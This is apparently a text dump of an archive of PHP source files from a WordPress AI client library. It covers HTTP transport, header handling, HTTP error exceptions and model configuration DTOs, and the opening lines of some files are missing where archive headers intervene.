{ $merged->setMaxRedirects($requestOptions->getMaxRedirects()); } // Override with parameter options (higher precedence) if ($parameterOptions->getTimeout() !== null) { $merged->setTimeout($parameterOptions->getTimeout()); } if ($parameterOptions->getConnectTimeout() !== null) { $merged->setConnectTimeout($parameterOptions->getConnectTimeout()); } if ($parameterOptions->getMaxRedirects() !== null) { $merged->setMaxRedirects($parameterOptions->getMaxRedirects()); } return $merged; } /** * Determines if the underlying client matches the Guzzle client shape. * * @since 0.2.0 * * @param ClientInterface $client The HTTP client instance. * @return bool True when the client exposes Guzzle's send signature. */ private function isGuzzleClient(ClientInterface $client): bool { $reflection = new \ReflectionObject($client); if (!is_callable([$client, 'send'])) { return \false; } if (!$reflection->hasMethod('send')) { return \false; } $method = $reflection->getMethod('send'); if (!$method->isPublic() || $method->isStatic()) { return \false; } $parameters = $method->getParameters(); if (count($parameters) < 2) { return \false; } $firstParameter = $parameters[0]->getType(); if (!$firstParameter instanceof \ReflectionNamedType || $firstParameter->isBuiltin()) { return \false; } if (!is_a($firstParameter->getName(), RequestInterface::class, \true)) { return \false; } $secondParameter = $parameters[1]; $secondType = $secondParameter->getType(); if (!$secondType instanceof \ReflectionNamedType || $secondType->getName() !== 'array') { return \false; } return \true; } /** * Sends a request using a Guzzle-compatible client. * * @since 0.2.0 * * @param RequestInterface $request The PSR-7 request to send. * @param RequestOptions $options The request options. * @return ResponseInterface The PSR-7 response received. */ private function sendWithGuzzle(RequestInterface $request, RequestOptions $options): ResponseInterface { $guzzleOptions = $this->buildGuzzleOptions($options); /** @var callable $callable */ $callable = [$this->client, 'send']; /** @var ResponseInterface $response */ $response = $callable($request, $guzzleOptions); return $response; } /** * Converts request options to a Guzzle-compatible options array. * * @since 0.2.0 * * @param RequestOptions $options The request options. * @return array Guzzle-compatible options. */ private function buildGuzzleOptions(RequestOptions $options): array { $guzzleOptions = []; $timeout = $options->getTimeout(); if ($timeout !== null) { $guzzleOptions['timeout'] = $timeout; } $connectTimeout = $options->getConnectTimeout(); if ($connectTimeout !== null) { $guzzleOptions['connect_timeout'] = $connectTimeout; } $allowRedirects = $options->allowsRedirects(); if ($allowRedirects !== null) { if ($allowRedirects) { $redirectOptions = []; $maxRedirects = $options->getMaxRedirects(); if ($maxRedirects !== null) { $redirectOptions['max'] = $maxRedirects; } $guzzleOptions['allow_redirects'] = !empty($redirectOptions) ? $redirectOptions : \true; } else { $guzzleOptions['allow_redirects'] = \false; } } return $guzzleOptions; } /** * Converts a custom Request to a PSR-7 request. * * @since 0.1.0 * * @param Request $request The custom request. * @return RequestInterface The PSR-7 request. */ private function convertToPsr7Request(Request $request): RequestInterface { $psr7Request = $this->requestFactory->createRequest($request->getMethod()->value, $request->getUri()); // Add headers foreach ($request->getHeaders() as $name => $values) { foreach ($values as $value) { $psr7Request = $psr7Request->withAddedHeader($name, $value); } } // Add body if present $body = $request->getBody(); if ($body !== null) { $stream = $this->streamFactory->createStream($body); $psr7Request = $psr7Request->withBody($stream); } return $psr7Request; } /** * Converts a PSR-7 response to a custom Response. * * @since 0.1.0 * * @param ResponseInterface $psr7Response The PSR-7 response. * @return Response The custom response. */ private function convertFromPsr7Response(ResponseInterface $psr7Response): Response { $body = (string) $psr7Response->getBody(); // PSR-7 always returns headers as arrays, but HeadersCollection handles this return new Response( $psr7Response->getStatusCode(), $psr7Response->getHeaders(), // @phpstan-ignore-line $body === '' ? null : $body ); } } Providers/Http/Contracts/ClientWithOptionsInterface.php000064400000002001152076731340017361 0ustar00> The headers with original casing. */ private array $headers = []; /** * @var array Map of lowercase header names to actual header names. */ private array $headersMap = []; /** * Constructor. * * @since 0.1.0 * * @param array> $headers Initial headers. */ public function __construct(array $headers = []) { foreach ($headers as $name => $value) { $this->set($name, $value); } } /** * Gets a specific header value. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return list|null The header value(s) or null if not found. */ public function get(string $name): ?array { $lowerName = strtolower($name); if (!isset($this->headersMap[$lowerName])) { return null; } $actualName = $this->headersMap[$lowerName]; return $this->headers[$actualName]; } /** * Gets all headers. * * @since 0.1.0 * * @return array> All headers with their original casing. */ public function getAll(): array { return $this->headers; } /** * Gets header values as a comma-separated string. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return string|null The header values as a comma-separated string or null if not found. */ public function getAsString(string $name): ?string { $values = $this->get($name); return $values !== null ? implode(', ', $values) : null; } /** * Checks if a header exists. * * @since 0.1.0 * * @param string $name The header name (case-insensitive). * @return bool True if the header exists, false otherwise. */ public function has(string $name): bool { return isset($this->headersMap[strtolower($name)]); } /** * Sets a header value, replacing any existing value. * * @since 0.1.0 * * @param string $name The header name. * @param string|list $value The header value(s). * @return void */ private function set(string $name, $value): void { if (is_array($value)) { $normalizedValues = array_values($value); } else { // Split comma-separated string into array $normalizedValues = array_map('trim', explode(',', $value)); } $lowerName = strtolower($name); // If header exists with different casing, remove the old casing if (isset($this->headersMap[$lowerName])) { $oldName = $this->headersMap[$lowerName]; if ($oldName !== $name) { unset($this->headers[$oldName]); } } // Always use the new casing $this->headers[$name] = $normalizedValues; $this->headersMap[$lowerName] = $name; } /** * Returns a new instance with the specified header. * * @since 0.1.0 * * @param string $name The header name. * @param string|list $value The header value(s). * @return self A new instance with the header. */ public function withHeader(string $name, $value): self { $new = clone $this; $new->set($name, $value); return $new; } } Providers/Http/Abstracts/AbstractClientDiscoveryStrategy.php000064400000005557152076731340020440 0ustar00> The discovery candidates. */ public static function getCandidates($type) { if (ClientInterface::class === $type) { return [['class' => static function () { $psr17Factory = new Psr17Factory(); return static::createClient($psr17Factory); }]]; } $psr17Factories = ['WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface']; if (in_array($type, $psr17Factories, \true)) { return [['class' => Psr17Factory::class]]; } return []; } /** * Creates an instance of the HTTP client. * * Subclasses must implement this method to return their specific * PSR-18 HTTP client instance. The provided Psr17Factory implements * all PSR-17 interfaces (RequestFactory, ResponseFactory, StreamFactory, * etc.) and can be used to satisfy client constructor dependencies. * * @since 1.1.0 * * @param Psr17Factory $psr17Factory The PSR-17 factory for creating HTTP messages. * @return ClientInterface The PSR-18 HTTP client. */ abstract protected static function createClient(Psr17Factory $psr17Factory): ClientInterface; } Providers/Http/Util/ResponseUtil.php000064400000004146152076731340013537 0ustar00isSuccessful()) { return; } $statusCode = $response->getStatusCode(); // 3xx Redirect Responses if ($statusCode >= 300 && $statusCode < 400) { throw RedirectException::fromRedirectResponse($response); } // 4xx Client Errors if ($statusCode >= 400 && $statusCode < 500) { throw ClientException::fromClientErrorResponse($response); } // 5xx Server Errors if ($statusCode >= 500 && $statusCode < 600) { throw ServerException::fromServerErrorResponse($response); } throw new \RuntimeException(sprintf('Response returned invalid status code: %s', $response->getStatusCode())); } } Providers/Http/Util/ErrorMessageExtractor.php000064400000003545152076731340015377 0ustar00httpTransporter = $httpTransporter; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getHttpTransporter(): HttpTransporterInterface { if ($this->httpTransporter === null) { throw new RuntimeException('HttpTransporterInterface instance not set. Make sure you use the AiClient class for all requests.'); } return $this->httpTransporter; } } Providers/Http/Traits/WithRequestAuthenticationTrait.php000064400000002261152076731340017620 0ustar00requestAuthentication = $requestAuthentication; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getRequestAuthentication(): RequestAuthenticationInterface { if ($this->requestAuthentication === null) { throw new RuntimeException('RequestAuthenticationInterface instance not set. ' . 'Make sure you use the AiClient class for all requests.'); } return $this->requestAuthentication; } } Providers/Http/Exception/ResponseException.php000064400000003041152076731340015572 0ustar00getStatusCode(); $statusTexts = [500 => 'Internal Server Error', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 507 => 'Insufficient Storage', 529 => 'Overloaded']; if (isset($statusTexts[$statusCode])) { $errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode); } else { $errorMessage = sprintf('Server error (%d): Request was rejected due to server-side issue', $statusCode); } // Extract error message from response data using centralized utility $extractedError = ErrorMessageExtractor::extractFromResponseData($response->getData()); if ($extractedError !== null) { $errorMessage .= ' - ' . $extractedError; } return new self($errorMessage, $response->getStatusCode()); } } Providers/Http/Exception/RedirectException.php000064400000003465152076731340015547 0ustar00getStatusCode(); $statusTexts = [300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect']; if (isset($statusTexts[$statusCode])) { $errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode); } else { $errorMessage = sprintf('Redirect error (%d): Request needs to be retried at a different location', $statusCode); } // Try to extract the redirect location from headers $locationValues = $response->getHeader('Location'); if ($locationValues !== null && !empty($locationValues)) { $location = $locationValues[0]; $errorMessage .= ' - Location: ' . $location; } return new self($errorMessage, $statusCode); } } Providers/Http/Exception/NetworkException.php000064400000003512152076731340015430 0ustar00request === null) { throw new \RuntimeException('Request object not available. This exception was directly instantiated. ' . 'Use a factory method that provides request context.'); } return $this->request; } /** * Creates a NetworkException from a PSR-18 network exception. * * @since 0.2.0 * * @param RequestInterface $psrRequest The PSR-7 request that failed. * @param \Throwable $networkException The PSR-18 network exception. * @return self */ public static function fromPsr18NetworkException(RequestInterface $psrRequest, \Throwable $networkException): self { $request = Request::fromPsrRequest($psrRequest); $message = sprintf('Network error occurred while sending request to %s: %s', $request->getUri(), $networkException->getMessage()); $exception = new self($message, 0, $networkException); $exception->request = $request; return $exception; } } Providers/Http/Exception/ClientException.php000064400000004655152076731340015226 0ustar00request === null) { throw new \RuntimeException('Request object not available. This exception was directly instantiated. ' . 'Use a factory method that provides request context.'); } return $this->request; } /** * Creates a ClientException from a client error response (4xx). * * This method extracts error details from common API response formats * and creates an exception with a descriptive message and status code. * * @since 0.2.0 * * @param Response $response The HTTP response that failed. * @return self */ public static function fromClientErrorResponse(Response $response): self { $statusCode = $response->getStatusCode(); $statusTexts = [400 => 'Bad Request', 401 => 'Unauthorized', 403 => 'Forbidden', 404 => 'Not Found', 422 => 'Unprocessable Entity', 429 => 'Too Many Requests']; if (isset($statusTexts[$statusCode])) { $errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode); } else { $errorMessage = sprintf('Client error (%d): Request was rejected due to client-side issue', $statusCode); } // Extract error message from response data using centralized utility $extractedError = ErrorMessageExtractor::extractFromResponseData($response->getData()); if ($extractedError !== null) { $errorMessage .= ' - ' . $extractedError; } return new self($errorMessage, $statusCode); } } Providers/Http/Enums/HttpMethodEnum.php000064400000004750152076731340014163 0ustar00value, [self::GET, self::HEAD, self::OPTIONS, self::TRACE, self::PUT, self::DELETE], \true); } /** * Checks if this method typically has a request body. * * @since 0.1.0 * * @return bool True if the method typically has a body, false otherwise. */ public function hasBody(): bool { return in_array($this->value, [self::POST, self::PUT, self::PATCH], \true); } } Providers/Http/Enums/RequestAuthenticationMethod.php000064400000002344152076731340016744 0ustar00 The implementation class. * * @phpstan-ignore missingType.generics */ public function getImplementationClass(): string { // At the moment, this is the only supported method. // Once more methods are available, add conditionals here for each method. return ApiKeyRequestAuthentication::class; } } Providers/Models/DTO/RequiredOption.php000064400000005513152076731340014070 0ustar00 */ class RequiredOption extends AbstractDataTransferObject { public const KEY_NAME = 'name'; public const KEY_VALUE = 'value'; /** * @var OptionEnum The option name. */ protected OptionEnum $name; /** * @var mixed The value that the model must support for this option. */ protected $value; /** * Constructor. * * @since 0.1.0 * * @param OptionEnum $name The option name. * @param mixed $value The value that the model must support for this option. */ public function __construct(OptionEnum $name, $value) { $this->name = $name; $this->value = $value; } /** * Gets the option name. * * @since 0.1.0 * * @return OptionEnum The option name. */ public function getName(): OptionEnum { return $this->name; } /** * Gets the value that the model must support for this option. * * @since 0.1.0 * * @return mixed The value that the model must support. */ public function getValue() { return $this->value; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'enum' => OptionEnum::getValues(), 'description' => 'The option name.'], self::KEY_VALUE => ['oneOf' => [['type' => 'string'], ['type' => 'number'], ['type' => 'boolean'], ['type' => 'null'], ['type' => 'array'], ['type' => 'object']], 'description' => 'The value that the model must support for this option.']], 'required' => [self::KEY_NAME, self::KEY_VALUE]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return RequiredOptionArrayShape */ public function toArray(): array { return [self::KEY_NAME => $this->name->value, self::KEY_VALUE => $this->value]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_NAME, self::KEY_VALUE]); return new self(OptionEnum::from($array[self::KEY_NAME]), $array[self::KEY_VALUE]); } } Providers/Models/DTO/SupportedOption.php000064400000014011152076731340014266 0ustar00 * } * * @extends AbstractDataTransferObject */ class SupportedOption extends AbstractDataTransferObject { public const KEY_NAME = 'name'; public const KEY_SUPPORTED_VALUES = 'supportedValues'; /** * @var OptionEnum The option name. */ protected OptionEnum $name; /** * @var list|null The supported values for this option. */ protected ?array $supportedValues; /** * Constructor. * * @since 0.1.0 * * @param OptionEnum $name The option name. * @param list|null $supportedValues The supported values for this option, or null if any value is supported. * * @throws InvalidArgumentException If supportedValues is not null and not a list. */ public function __construct(OptionEnum $name, ?array $supportedValues = null) { if ($supportedValues !== null && !array_is_list($supportedValues)) { throw new InvalidArgumentException('Supported values must be a list array.'); } $this->name = $name; $this->supportedValues = $supportedValues; } /** * Gets the option name. * * @since 0.1.0 * * @return OptionEnum The option name. */ public function getName(): OptionEnum { return $this->name; } /** * Checks if a value is supported for this option. * * @since 0.1.0 * * @param mixed $value The value to check. * @return bool True if the value is supported, false otherwise. */ public function isSupportedValue($value): bool { // If supportedValues is null, any value is supported if ($this->supportedValues === null) { return \true; } // If the value is an array, consider it a set (i.e. order doesn't matter). if (is_array($value)) { $normalizedValue = self::normalizeArrayForComparison($value); foreach ($this->supportedValues as $supportedValue) { if (!is_array($supportedValue)) { continue; } $normalizedSupported = self::normalizeArrayForComparison($supportedValue); if ($normalizedValue === $normalizedSupported) { return \true; } } return \false; } $normalizedValue = self::normalizeValue($value); foreach ($this->supportedValues as $supportedValue) { if (self::normalizeValue($supportedValue) === $normalizedValue) { return \true; } } return \false; } /** * Normalizes an AbstractEnum instance to its string value. * * This ensures comparisons work correctly even after deserialization * (e.g. Redis/Memcached object cache), where AbstractEnum singletons * are reconstructed as separate instances. * * @since 1.2.1 * * @param mixed $value The value to normalize. * @return mixed The normalized value. */ private static function normalizeValue($value) { if ($value instanceof AbstractEnum) { return $value->value; } return $value; } /** * Normalizes and sorts an array for comparison. * * Maps each element through normalizeValue() and sorts the result, * ensuring consistent comparison regardless of element order or * AbstractEnum instance identity. * * @since 1.2.1 * * @param array $items The array to normalize. * @return array The normalized, sorted array. */ private static function normalizeArrayForComparison(array $items): array { $normalized = array_map([self::class, 'normalizeValue'], $items); sort($normalized); return $normalized; } /** * Gets the supported values for this option. * * @since 0.1.0 * * @return list|null The supported values, or null if any value is supported. */ public function getSupportedValues(): ?array { return $this->supportedValues; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'enum' => OptionEnum::getValues(), 'description' => 'The option name.'], self::KEY_SUPPORTED_VALUES => ['type' => 'array', 'items' => ['oneOf' => [['type' => 'string'], ['type' => 'number'], ['type' => 'boolean'], ['type' => 'null'], ['type' => 'array'], ['type' => 'object']]], 'description' => 'The supported values for this option.']], 'required' => [self::KEY_NAME]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return SupportedOptionArrayShape */ public function toArray(): array { $data = [self::KEY_NAME => $this->name->value]; if ($this->supportedValues !== null) { /** @var list $supportedValues */ $supportedValues = $this->supportedValues; $data[self::KEY_SUPPORTED_VALUES] = $supportedValues; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_NAME]); return new self(OptionEnum::from($array[self::KEY_NAME]), $array[self::KEY_SUPPORTED_VALUES] ?? null); } } Providers/Models/DTO/ModelConfig.php000064400000073244152076731340013313 0ustar00, * systemInstruction?: string, * candidateCount?: int, * maxTokens?: int, * temperature?: float, * topP?: float, * topK?: int, * stopSequences?: list, * presencePenalty?: float, * frequencyPenalty?: float, * logprobs?: bool, * topLogprobs?: int, * functionDeclarations?: list, * webSearch?: WebSearchArrayShape, * outputFileType?: string, * outputMimeType?: string, * outputSchema?: array, * outputMediaOrientation?: string, * outputMediaAspectRatio?: string, * outputSpeechVoice?: string, * customOptions?: array * } * * @extends AbstractDataTransferObject */ class ModelConfig extends AbstractDataTransferObject { public const KEY_OUTPUT_MODALITIES = 'outputModalities'; public const KEY_SYSTEM_INSTRUCTION = 'systemInstruction'; public const KEY_CANDIDATE_COUNT = 'candidateCount'; public const KEY_MAX_TOKENS = 'maxTokens'; public const KEY_TEMPERATURE = 'temperature'; public const KEY_TOP_P = 'topP'; public const KEY_TOP_K = 'topK'; public const KEY_STOP_SEQUENCES = 'stopSequences'; public const KEY_PRESENCE_PENALTY = 'presencePenalty'; public const KEY_FREQUENCY_PENALTY = 'frequencyPenalty'; public const KEY_LOGPROBS = 'logprobs'; public const KEY_TOP_LOGPROBS = 'topLogprobs'; public const KEY_FUNCTION_DECLARATIONS = 'functionDeclarations'; public const KEY_WEB_SEARCH = 'webSearch'; public const KEY_OUTPUT_FILE_TYPE = 'outputFileType'; public const KEY_OUTPUT_MIME_TYPE = 'outputMimeType'; public const KEY_OUTPUT_SCHEMA = 'outputSchema'; public const KEY_OUTPUT_MEDIA_ORIENTATION = 'outputMediaOrientation'; public const KEY_OUTPUT_MEDIA_ASPECT_RATIO = 'outputMediaAspectRatio'; public const KEY_OUTPUT_SPEECH_VOICE = 'outputSpeechVoice'; public const KEY_CUSTOM_OPTIONS = 'customOptions'; /* * Note: This key is not an actual model config key, but specified here for convenience. * It is relevant for model discovery, to determine which models support which input modalities. * The actual input modalities are part of the message sent to the model, not the model config. */ public const KEY_INPUT_MODALITIES = 'inputModalities'; /** * @var list|null Output modalities for the model. */ protected ?array $outputModalities = null; /** * @var string|null System instruction for the model. */ protected ?string $systemInstruction = null; /** * @var int|null Number of response candidates to generate. */ protected ?int $candidateCount = null; /** * @var int|null Maximum number of tokens to generate. */ protected ?int $maxTokens = null; /** * @var float|null Temperature for randomness (0.0 to 2.0). */ protected ?float $temperature = null; /** * @var float|null Top-p nucleus sampling parameter. */ protected ?float $topP = null; /** * @var int|null Top-k sampling parameter. */ protected ?int $topK = null; /** * @var list|null Stop sequences. */ protected ?array $stopSequences = null; /** * @var float|null Presence penalty for reducing repetition. */ protected ?float $presencePenalty = null; /** * @var float|null Frequency penalty for reducing repetition. */ protected ?float $frequencyPenalty = null; /** * @var bool|null Whether to return log probabilities. */ protected ?bool $logprobs = null; /** * @var int|null Number of top log probabilities to return. */ protected ?int $topLogprobs = null; /** * @var list|null Function declarations available to the model. */ protected ?array $functionDeclarations = null; /** * @var WebSearch|null Web search configuration for the model. */ protected ?WebSearch $webSearch = null; /** * @var FileTypeEnum|null Output file type. */ protected ?FileTypeEnum $outputFileType = null; /** * @var string|null Output MIME type. */ protected ?string $outputMimeType = null; /** * @var array|null Output schema (JSON schema). */ protected ?array $outputSchema = null; /** * @var MediaOrientationEnum|null Output media orientation. */ protected ?MediaOrientationEnum $outputMediaOrientation = null; /** * @var string|null Output media aspect ratio (e.g. 3:2, 16:9). */ protected ?string $outputMediaAspectRatio = null; /** * @var string|null Output speech voice. */ protected ?string $outputSpeechVoice = null; /** * @var array Custom provider-specific options. */ protected array $customOptions = []; /** * Creates a deep clone of this configuration. * * Clones nested objects (functionDeclarations, webSearch) to ensure * the cloned configuration is independent of the original. * Enum value objects (outputModalities, outputFileType, outputMediaOrientation) * are intentionally shared as they are immutable. * * @since 0.4.2 */ public function __clone() { // Deep clone function declarations if set if ($this->functionDeclarations !== null) { $clonedDeclarations = []; foreach ($this->functionDeclarations as $declaration) { $clonedDeclarations[] = clone $declaration; } $this->functionDeclarations = $clonedDeclarations; } // Clone web search if set if ($this->webSearch !== null) { $this->webSearch = clone $this->webSearch; } // Note: Enum value objects (outputModalities, outputFileType, outputMediaOrientation) // are immutable and can be safely shared. } /** * Sets the output modalities. * * @since 0.1.0 * * @param list $outputModalities The output modalities. * * @throws InvalidArgumentException If the array is not a list. */ public function setOutputModalities(array $outputModalities): void { if (!array_is_list($outputModalities)) { throw new InvalidArgumentException('Output modalities must be a list array.'); } $this->outputModalities = $outputModalities; } /** * Gets the output modalities. * * @since 0.1.0 * * @return list|null The output modalities. */ public function getOutputModalities(): ?array { return $this->outputModalities; } /** * Sets the system instruction. * * @since 0.1.0 * * @param string $systemInstruction The system instruction. */ public function setSystemInstruction(string $systemInstruction): void { $this->systemInstruction = $systemInstruction; } /** * Gets the system instruction. * * @since 0.1.0 * * @return string|null The system instruction. */ public function getSystemInstruction(): ?string { return $this->systemInstruction; } /** * Sets the candidate count. * * @since 0.1.0 * * @param int $candidateCount The candidate count. */ public function setCandidateCount(int $candidateCount): void { $this->candidateCount = $candidateCount; } /** * Gets the candidate count. * * @since 0.1.0 * * @return int|null The candidate count. */ public function getCandidateCount(): ?int { return $this->candidateCount; } /** * Sets the maximum tokens. * * @since 0.1.0 * * @param int $maxTokens The maximum tokens. */ public function setMaxTokens(int $maxTokens): void { $this->maxTokens = $maxTokens; } /** * Gets the maximum tokens. * * @since 0.1.0 * * @return int|null The maximum tokens. */ public function getMaxTokens(): ?int { return $this->maxTokens; } /** * Sets the temperature. * * @since 0.1.0 * * @param float $temperature The temperature. */ public function setTemperature(float $temperature): void { $this->temperature = $temperature; } /** * Gets the temperature. * * @since 0.1.0 * * @return float|null The temperature. */ public function getTemperature(): ?float { return $this->temperature; } /** * Sets the top-p parameter. * * @since 0.1.0 * * @param float $topP The top-p parameter. */ public function setTopP(float $topP): void { $this->topP = $topP; } /** * Gets the top-p parameter. * * @since 0.1.0 * * @return float|null The top-p parameter. */ public function getTopP(): ?float { return $this->topP; } /** * Sets the top-k parameter. * * @since 0.1.0 * * @param int $topK The top-k parameter. */ public function setTopK(int $topK): void { $this->topK = $topK; } /** * Gets the top-k parameter. * * @since 0.1.0 * * @return int|null The top-k parameter. */ public function getTopK(): ?int { return $this->topK; } /** * Sets the stop sequences. * * @since 0.1.0 * * @param list $stopSequences The stop sequences. * * @throws InvalidArgumentException If the array is not a list. */ public function setStopSequences(array $stopSequences): void { if (!array_is_list($stopSequences)) { throw new InvalidArgumentException('Stop sequences must be a list array.'); } $this->stopSequences = $stopSequences; } /** * Gets the stop sequences. * * @since 0.1.0 * * @return list|null The stop sequences. */ public function getStopSequences(): ?array { return $this->stopSequences; } /** * Sets the presence penalty. * * @since 0.1.0 * * @param float $presencePenalty The presence penalty. */ public function setPresencePenalty(float $presencePenalty): void { $this->presencePenalty = $presencePenalty; } /** * Gets the presence penalty. * * @since 0.1.0 * * @return float|null The presence penalty. */ public function getPresencePenalty(): ?float { return $this->presencePenalty; } /** * Sets the frequency penalty. * * @since 0.1.0 * * @param float $frequencyPenalty The frequency penalty. */ public function setFrequencyPenalty(float $frequencyPenalty): void { $this->frequencyPenalty = $frequencyPenalty; } /** * Gets the frequency penalty. * * @since 0.1.0 * * @return float|null The frequency penalty. */ public function getFrequencyPenalty(): ?float { return $this->frequencyPenalty; } /** * Sets whether to return log probabilities. * * @since 0.1.0 * * @param bool $logprobs Whether to return log probabilities. */ public function setLogprobs(bool $logprobs): void { $this->logprobs = $logprobs; } /** * Gets whether to return log probabilities. * * @since 0.1.0 * * @return bool|null Whether to return log probabilities. */ public function getLogprobs(): ?bool { return $this->logprobs; } /** * Sets the number of top log probabilities to return. * * @since 0.1.0 * * @param int $topLogprobs The number of top log probabilities. */ public function setTopLogprobs(int $topLogprobs): void { $this->topLogprobs = $topLogprobs; } /** * Gets the number of top log probabilities to return. * * @since 0.1.0 * * @return int|null The number of top log probabilities. */ public function getTopLogprobs(): ?int { return $this->topLogprobs; } /** * Sets the function declarations. * * @since 0.1.0 * * @param list $functionDeclarations The function declarations. * * @throws InvalidArgumentException If the array is not a list. */ public function setFunctionDeclarations(array $functionDeclarations): void { if (!array_is_list($functionDeclarations)) { throw new InvalidArgumentException('Function declarations must be a list array.'); } $this->functionDeclarations = $functionDeclarations; } /** * Gets the function declarations. * * @since 0.1.0 * * @return list|null The function declarations. */ public function getFunctionDeclarations(): ?array { return $this->functionDeclarations; } /** * Sets the web search configuration. * * @since 0.1.0 * * @param WebSearch $webSearch The web search configuration. */ public function setWebSearch(WebSearch $webSearch): void { $this->webSearch = $webSearch; } /** * Gets the web search configuration. * * @since 0.1.0 * * @return WebSearch|null The web search configuration. */ public function getWebSearch(): ?WebSearch { return $this->webSearch; } /** * Sets the output file type. * * @since 0.1.0 * * @param FileTypeEnum $outputFileType The output file type. */ public function setOutputFileType(FileTypeEnum $outputFileType): void { $this->outputFileType = $outputFileType; } /** * Gets the output file type. * * @since 0.1.0 * * @return FileTypeEnum|null The output file type. */ public function getOutputFileType(): ?FileTypeEnum { return $this->outputFileType; } /** * Sets the output MIME type. * * @since 0.1.0 * * @param string $outputMimeType The output MIME type. */ public function setOutputMimeType(string $outputMimeType): void { $this->outputMimeType = $outputMimeType; } /** * Gets the output MIME type. * * @since 0.1.0 * * @return string|null The output MIME type. */ public function getOutputMimeType(): ?string { return $this->outputMimeType; } /** * Sets the output schema. * * When setting an output schema, this method automatically sets * the output MIME type to "application/json" if not already set. * * @since 0.1.0 * * @param array $outputSchema The output schema (JSON schema). */ public function setOutputSchema(array $outputSchema): void { $this->outputSchema = $outputSchema; // Automatically set outputMimeType to application/json when schema is provided if ($this->outputMimeType === null) { $this->outputMimeType = 'application/json'; } } /** * Gets the output schema. * * @since 0.1.0 * * @return array|null The output schema. */ public function getOutputSchema(): ?array { return $this->outputSchema; } /** * Sets the output media orientation. * * @since 0.1.0 * * @param MediaOrientationEnum $outputMediaOrientation The output media orientation. */ public function setOutputMediaOrientation(MediaOrientationEnum $outputMediaOrientation): void { if ($this->outputMediaAspectRatio) { $this->validateMediaOrientationAspectRatioCompatibility($outputMediaOrientation, $this->outputMediaAspectRatio); } $this->outputMediaOrientation = $outputMediaOrientation; } /** * Gets the output media orientation. * * @since 0.1.0 * * @return MediaOrientationEnum|null The output media orientation. */ public function getOutputMediaOrientation(): ?MediaOrientationEnum { return $this->outputMediaOrientation; } /** * Sets the output media aspect ratio. * * If set, this supersedes the output media orientation, as it is a more specific configuration. * * @since 0.1.0 * * @param string $outputMediaAspectRatio The output media aspect ratio (e.g. 3:2, 16:9). */ public function setOutputMediaAspectRatio(string $outputMediaAspectRatio): void { if (!preg_match('/^\d+:\d+$/', $outputMediaAspectRatio)) { throw new InvalidArgumentException('Output media aspect ratio must be in the format "width:height" (e.g. 3:2, 16:9).'); } if ($this->outputMediaOrientation) { $this->validateMediaOrientationAspectRatioCompatibility($this->outputMediaOrientation, $outputMediaAspectRatio); } $this->outputMediaAspectRatio = $outputMediaAspectRatio; } /** * Gets the output media aspect ratio. * * @since 0.1.0 * * @return string|null The output media aspect ratio (e.g. 3:2, 16:9). */ public function getOutputMediaAspectRatio(): ?string { return $this->outputMediaAspectRatio; } /** * Validates that the given media orientation and aspect ratio values do not conflict with each other. * * @since 0.4.0 * * @param MediaOrientationEnum $orientation The desired media orientation. * @param string $aspectRatio The desired media aspect ratio. */ protected function validateMediaOrientationAspectRatioCompatibility(MediaOrientationEnum $orientation, string $aspectRatio): void { $aspectRatioParts = explode(':', $aspectRatio); if ($orientation->isSquare() && $aspectRatioParts[0] !== $aspectRatioParts[1]) { throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the square orientation.'); } if ($orientation->isLandscape() && $aspectRatioParts[0] <= $aspectRatioParts[1]) { throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the landscape orientation.'); } if ($orientation->isPortrait() && $aspectRatioParts[0] >= $aspectRatioParts[1]) { throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the portrait orientation.'); } } /** * Sets the output speech voice. * * @since 0.1.0 * * @param string $outputSpeechVoice The output speech voice. */ public function setOutputSpeechVoice(string $outputSpeechVoice): void { $this->outputSpeechVoice = $outputSpeechVoice; } /** * Gets the output speech voice. * * @since 0.1.0 * * @return string|null The output speech voice. */ public function getOutputSpeechVoice(): ?string { return $this->outputSpeechVoice; } /** * Sets a single custom option. * * @since 0.1.0 * * @param string $key The option key. * @param mixed $value The option value. */ public function setCustomOption(string $key, $value): void { $this->customOptions[$key] = $value; } /** * Sets the custom options. * * @since 0.1.0 * * @param array $customOptions The custom options. */ public function setCustomOptions(array $customOptions): void { $this->customOptions = $customOptions; } /** * Gets the custom options. * * @since 0.1.0 * * @return array The custom options. */ public function getCustomOptions(): array { return $this->customOptions; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_OUTPUT_MODALITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => ModalityEnum::getValues()], 'description' => 'Output modalities for the model.'], self::KEY_SYSTEM_INSTRUCTION => ['type' => 'string', 'description' => 'System instruction for the model.'], 